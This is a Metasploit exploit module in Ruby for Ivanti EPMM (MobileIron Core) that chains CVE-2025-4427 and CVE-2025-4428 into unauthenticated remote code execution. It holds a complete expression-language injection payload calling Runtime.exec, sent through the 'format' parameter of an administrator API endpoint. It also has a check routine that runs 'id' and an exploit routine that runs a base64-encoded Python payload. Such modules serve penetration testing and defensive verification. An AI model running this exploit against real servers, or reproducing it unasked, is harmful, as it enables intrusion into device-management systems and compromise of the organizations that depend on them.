## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Ivanti EPMM Authentication Bypass for Expression Language Remote Code Execution', 'Description' => %q{ This module exploits an unauthenticated remote code execution exploit chain for Ivanti EPMM, tracked as CVE-2025-4427 and CVE-2025-4428. An authentication flaw permits unauthenticated access to an administrator web API endpoint, which allows for code execution via expression language injection. This module executes in the context of the 'tomcat' user. This module should also work on many versions of MobileIron Core (rebranded as Ivanti EPMM). }, 'License' => MSF_LICENSE, 'Author' => [ 'CERT-EU', # Original discovery 'Sonny Macdonald', # First Published PoC 'Piotr Bazydlo', # First published PoC 'remmons-r7' # MSF Exploit ], 'References' => [ ['CVE', '2025-4427'], ['CVE', '2025-4428'], # Advisory ['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM?language=en_US'], # First published PoC ['URL', 'https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428'], # Non-blind payload ['URL', 'https://blog.eclecticiq.com/china-nexus-threat-actor-actively-exploiting-ivanti-endpoint-manager-mobile-cve-2025-4428-vulnerability'] ], 'DisclosureDate' => '2025-05-13', # Runs as the 'tomcat' user 'Privileged' => false, 'Platform' => ['python'], 'Arch' => [ARCH_PYTHON], # Tested appliance has Python 3.4.9 'DefaultTarget' => 0, 'Targets' => [ [ 'Default', {} ] ], 'Notes' => { # Confirmed to work multiple times in a row and concurrently 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The base path to Ivanti EPMM', '/']), OptBool.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true]) ] ) end def check # Execute 'id' to check if target is vulnerable (version check via exploitation, best known approach) resp = execute_command('id') return CheckCode::Unknown('Failed to get a response from the target') unless resp # The response body format will vary across versions, so check for presence of 'id' output if resp.body.include?('uid=') && resp.body.include?('gid=') return CheckCode::Vulnerable('Successfully executed command') else return CheckCode::Safe('Target does not appear to be vulnerable - command output not returned') end end def execute_command(command) payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{command}').getInputStream()).useDelimiter('%5C%5CA').next()}" vprint_status("Sending template payload: #{payload}") send_request_cgi( 'method' => 'GET', # There are multiple API endpoint targets, but this works on MobileIron Core and the rebranded EPMM 'uri' => normalize_uri(target_uri.path, 'mifs', 'rs', 'api', 'v2', 'featureusage'), 'vars_get' => { 'format' => payload } ) end def exploit vprint_status('Attempting to execute payload') base64_payload = Base64.urlsafe_encode64(payload.encoded) cmd = "python3 -c exec(__import__(\"base64\").b64decode(\"#{base64_payload}\"))" execute_command(cmd) end end